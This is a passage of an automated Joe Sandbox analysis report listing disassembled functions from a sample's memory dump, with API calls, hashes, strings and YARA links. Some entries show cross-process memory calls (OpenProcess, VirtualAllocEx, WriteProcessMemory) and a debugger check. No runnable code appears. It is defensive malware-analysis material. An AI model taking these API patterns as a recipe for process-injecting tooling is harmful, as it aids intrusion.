Instruction ID: 39aec6a9148fbc51625cbe03ea4789430a633f1c4fc65a201303c07aead4c41a
Opcode Fuzzy Hash: bc8c201b3a5cc2088599cc34e41656a9fdcb49795157d5cd7aa5683c45c003b0
Instruction Fuzzy Hash: D3015735E01A2DEBCF16AFE4DC489EDBBBCBB08711F414556E405B6141CF30A590CBA1

Function 00337D28 Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00337C62,80070057,?,?,?,00338073), ref: 00337D45
ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00337C62,80070057,?,?), ref: 00337D60
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00337C62,80070057,?,?), ref: 00337D6E
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00337C62,80070057,?), ref: 00337D7E
CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00337C62,80070057,?,?), ref: 00337D8A

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 052d092bb25170eb8cd7bb5bbfa07fcfe03c9f83beeb9d4185d416c118c6f2b8
Instruction ID: b4bae483c2d4911b7cb17171cdef11cbff840eab34bd5cc8b936b6321927f005
Opcode Fuzzy Hash: 052d092bb25170eb8cd7bb5bbfa07fcfe03c9f83beeb9d4185d416c118c6f2b8
Instruction Fuzzy Hash: 7D012CB6605218FBDB264F64DC84BAABBADEF48752F154024F90DD6210D771ED80DBA0

Function 00338CC7 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00338CDE
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00338CE8
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00338CF7
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00338CFE
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00338D14

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 4c9d3309fa6763998135750ffdbbc60772489e8e5aa1ca561a942163d3255fa0
Instruction ID: 1a176e8e5550aaf04519b92b1d909fe1fc813cfdb64ce5fbfed3263fb6eefecb
Opcode Fuzzy Hash: 4c9d3309fa6763998135750ffdbbc60772489e8e5aa1ca561a942163d3255fa0
Instruction Fuzzy Hash: 81F04935200308EFEF260FA59CC9F6B3BADEF89764F504529F949C6190CA61EC81DB60

Function 00338D28 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00338D3F
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00338D49
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00338D58
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00338D5F
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00338D75

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 2bb4f3f130078a6cf9f49f3466f6b492417568f72551ad74f6305439eff69ee6
Instruction ID: 82fce28fb37de268838d3fad89034a8aff993e7edb3ed27d9910b2d718759dc5
Opcode Fuzzy Hash: 2bb4f3f130078a6cf9f49f3466f6b492417568f72551ad74f6305439eff69ee6
Instruction Fuzzy Hash: 85F03735240304EFEB260FA5ECC8F6B3BADEF89765F540529F949C61A0CA619D81DA60

Function 0033CD7C Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 0033CD90
GetWindowTextW.USER32(00000000,?,00000100), ref: 0033CDA7
MessageBeep.USER32(00000000), ref: 0033CDBF
KillTimer.USER32(?,0000040A), ref: 0033CDDB
EndDialog.USER32(?,00000001), ref: 0033CDF5

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: b1cc06f502f2b5ef1e9f09ed62c915173b5bb320e05d0411c25d97dd75e0a871
Instruction ID: e424526cb8082b9ac130ac92d16b7b8a2c2466c2c9437db87423534e5fa5f16e
Opcode Fuzzy Hash: b1cc06f502f2b5ef1e9f09ed62c915173b5bb320e05d0411c25d97dd75e0a871
Instruction Fuzzy Hash: FA018670510708EBEB365B60DD9EFA67B7CFB00705F000669F586B14E1DBF0A9A48B80

Function 002E178C Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 002E179B
StrokeAndFillPath.GDI32(?,?,0031BBC9,00000000,?), ref: 002E17B7
SelectObject.GDI32(?,00000000), ref: 002E17CA
DeleteObject.GDI32 ref: 002E17DD
StrokePath.GDI32(?), ref: 002E17F8

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 3491b61390dc59fc11037b53c45234f9d77d00c9f14c29abf612aa42c210a698
Instruction ID: 41418106aeccc14b7d238e21270c0546e689adf6aff26a96ea4d5826861bd754
Opcode Fuzzy Hash: 3491b61390dc59fc11037b53c45234f9d77d00c9f14c29abf612aa42c210a698
Instruction Fuzzy Hash: 9FF01430018249EBDB375F26EC8DB997BADAB02B22F448224F82D541F0D73889A5DF10

Function 0034C9DA Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0034CA75
CoCreateInstance.OLE32(00373D3C,00000000,00000001,00373BAC,?), ref: 0034CA8D

Part of subcall function 002F1A36: _memmove.LIBCMT ref: 002F1A77

CoUninitialize.OLE32 ref: 0034CCFA

Strings

.lnk, xrefs: 0034CA09, 0034CA31, 0034CA3B

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: a97e95ad1e7ce47c2736cefa6574576b60312951fc5f28d20b6706d06485d496
Instruction ID: 6d8ddf17b7e25de1ee438ee64bcc8edeee72b2b8e0838eeef72800487e752a32
Opcode Fuzzy Hash: a97e95ad1e7ce47c2736cefa6574576b60312951fc5f28d20b6706d06485d496
Instruction Fuzzy Hash: 53A15C71114245AFD300EF64CC81EABB7ECEF95744F40492DF1959B292EB70EA19CB92

Function 002EE3C6 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 00300FE6: std::exception::exception.LIBCMT ref: 0030101C
Part of subcall function 00300FE6: __CxxThrowException@8.LIBCMT ref: 00301031

Part of subcall function 002F1A36: _memmove.LIBCMT ref: 002F1A77

Part of subcall function 002F1680: _memmove.LIBCMT ref: 002F16DB

__swprintf.LIBCMT ref: 002EE598

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 002EE431

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: d08cf0cb511423fed40c0431d997172963e79dfdc81aff73e7120a7fdac1992a
Instruction ID: ffcec8249eef8a86ad61160d80d0de7ca81f19bc1d12fa655431b3b61afba176
Opcode Fuzzy Hash: d08cf0cb511423fed40c0431d997172963e79dfdc81aff73e7120a7fdac1992a
Instruction Fuzzy Hash: 6691CF71128255DFCB15EF24D891C7EB7A8EF95340F81092DF5869B2A1EA30EE24CB52

Function 0030523D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 003052CD

Part of subcall function 00310320: __87except.LIBCMT ref: 0031035B

Strings

pow, xrefs: 003052A5, 003052C2

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: 7aa3044aa403f025d872feab04e310f7a826ff8560f7f3879e9bedc8d01d0cc8
Instruction ID: dbf73786ead494bed6a5cae26197f61d2451f2241b686c7f2923d8d503c8861d
Opcode Fuzzy Hash: 7aa3044aa403f025d872feab04e310f7a826ff8560f7f3879e9bedc8d01d0cc8
Instruction Fuzzy Hash: A4518C25A0B60187CB2FB715C9A13EB7B9C9F04750F304D68E0D58A2E5EFB48CC49E46

Function 00300654 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

#, xrefs: 00300699
+, xrefs: 00300690

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID:
String ID: #$+
API String ID: 0-2552117581
Opcode ID: c1667a446bf4beb64ec2acb8115077833d16e8c7468c3b7de3245e6fdde12a6a
Instruction ID: 95a7bee1dbf89f8d0d8cf1b6f05eae304da9f6eab3248807a7e83c6ec48ee143
Opcode Fuzzy Hash: c1667a446bf4beb64ec2acb8115077833d16e8c7468c3b7de3245e6fdde12a6a
Instruction Fuzzy Hash: 9D513375405249EFCB1BDF68C491AFA7BA8EF59310F548055F8929B2D0C738AC52CB60

Function 002EE7F7 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 161COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 002EE937
_memmove.LIBCMT ref: 002EE9D0
_free.LIBCMT ref: 002EE9F6
_memmove.LIBCMT ref: 002EEAA9

Strings

#V/, xrefs: 002EE9E2

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _memmove$_free
String ID: #V/
API String ID: 2620147621-2189092384
Opcode ID: a5c6ea923a9da25f4b2f8e36fe65addb6e0d9a3ade3ac12f4215ba3c18c56452
Instruction ID: a7c0b99d53f4165cef35f73559d219d12f1e88a17c0c8bda726e785e43ce4377
Opcode Fuzzy Hash: a5c6ea923a9da25f4b2f8e36fe65addb6e0d9a3ade3ac12f4215ba3c18c56452
Instruction Fuzzy Hash: 32516A716193828FDB24CF29C491B2FBBE5BF85314F45492DE98987360E731D851CB52

Function 002FCF0C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002FCFC2
_memmove.LIBCMT ref: 002FD060
_memset.LIBCMT ref: 002FD084

Strings

ERCP, xrefs: 002FCF2D

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _memset$_memmove
String ID: ERCP
API String ID: 2532777613-1384759551
Opcode ID: 1f96624a7a7b711343f2dfa70eff3fd4bea035d637ef74c8440e0b472f0dfd54
Instruction ID: 5b61788a57d5bfbd5fb52a0bc719c18a2aad424ceaf549f02b778490017269ae
Opcode Fuzzy Hash: 1f96624a7a7b711343f2dfa70eff3fd4bea035d637ef74c8440e0b472f0dfd54
Instruction Fuzzy Hash: B251C2B191030E9BCB25CF65C881BAAFBE9EF04350F24857EE94ACB240E7709591CB40

Function 0033A3AD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00341CBB: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00339E4E,?,?,00000034,00000800,?,00000034), ref: 00341CE5

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 0033A3F7

Part of subcall function 00341C86: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00339E7D,?,?,00000800,?,00001073,00000000,?,?), ref: 00341CB0

Part of subcall function 00341BDD: GetWindowThreadProcessId.USER32(?,?), ref: 00341C08
Part of subcall function 00341BDD: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00339E12,00000034,?,?,00001004,00000000,00000000), ref: 00341C18
Part of subcall function 00341BDD: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00339E12,00000034,?,?,00001004,00000000,00000000), ref: 00341C2E

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0033A464
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0033A4B1

Strings

@, xrefs: 0033A4C9

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 98d2c42003240e94b49c6f56b3f636d9b0b15bfbb988272a8c714261df89b8bc
Instruction ID: 93c6e6b1f035f25decd1fecee7df0ba22067babb6e07f81e6902fe74694a2b66
Opcode Fuzzy Hash: 98d2c42003240e94b49c6f56b3f636d9b0b15bfbb988272a8c714261df89b8bc
Instruction Fuzzy Hash: 1D415D7294021CBFCB11DBA4CD85ADEB7B8EF45700F004095FA45BB280DA706E85CBA1

Function 003679FE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00367A86
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00367A9A
SendMessageW.USER32(?,00001002,00000000,?), ref: 00367ABE

Strings

SysMonthCal32, xrefs: 00367A51

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: 166ae534ac5df6d67ca8f5f49cbc9f74dc3d2bad3abafdc0e93a9404ddb26344
Instruction ID: a5b98428dbacfcace60c31f67b0fcd62566998f1ab83f95074b0f4006112ceba
Opcode Fuzzy Hash: 166ae534ac5df6d67ca8f5f49cbc9f74dc3d2bad3abafdc0e93a9404ddb26344
Instruction Fuzzy Hash: F821D332610218BFDF268F90CC86FEE3B69EF48714F114214FE156B1D0D6B1A9908BA0

Function 003681B8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 0036826F
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 0036827D
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00368284

Strings

msctls_updown32, xrefs: 003681E9

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 627758da8cc574e008bfd7488739fade1f29524df5ed1677d6ab9a079695eab3
Instruction ID: 2d14fbbfa1fb42aa2d6e6cc36b5a72098bd28e1a7082e95ce796ad86ab6fe1f5
Opcode Fuzzy Hash: 627758da8cc574e008bfd7488739fade1f29524df5ed1677d6ab9a079695eab3
Instruction Fuzzy Hash: 9B21AEB1600208AFDB12DF54CCD5DA737EDEB4E354B054559FA019B291CB70EC51CBA0

Function 003672D5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00367360
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00367370
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00367395

Strings

Listbox, xrefs: 0036732D

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 9469c670d3f8110c11978405c291c1027f6f0d9340fc15c1b0fea533eea24e44
Instruction ID: 2e6c6c50eb923bc49adbbb7c9bd3712fc413a3749acbaf6118ed2f0d05c4211f
Opcode Fuzzy Hash: 9469c670d3f8110c11978405c291c1027f6f0d9340fc15c1b0fea533eea24e44
Instruction Fuzzy Hash: F021D032214118BFDF168F54CC85EBF37AEEB89758F51C124F9049B290C671AC519BA0

Function 00367D33 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00367D97
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00367DAC
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00367DB9

Strings

msctls_trackbar32, xrefs: 00367D6E

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: f48d7a8df03177a40d45741bc962acac95279716ff10765d91898261eb8b99af
Instruction ID: 68057d5c24f688b4bffa04964f639e554e43d9266e00848ae0b3e1d0d3ff2e19
Opcode Fuzzy Hash: f48d7a8df03177a40d45741bc962acac95279716ff10765d91898261eb8b99af
Instruction Fuzzy Hash: F6113672244248BFDF219F60CC46FEB77ADEF89B18F128518FA41A60D0D272D850CB20

Function 0031B4F1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 0031B544: _memset.LIBCMT ref: 0031B551

Part of subcall function 00300B74: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,0031B520,?,?,?,002E100A), ref: 00300B79

IsDebuggerPresent.KERNEL32(?,?,?,002E100A), ref: 0031B524
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,002E100A), ref: 0031B533

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 0031B52E
=8, xrefs: 0031B514

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
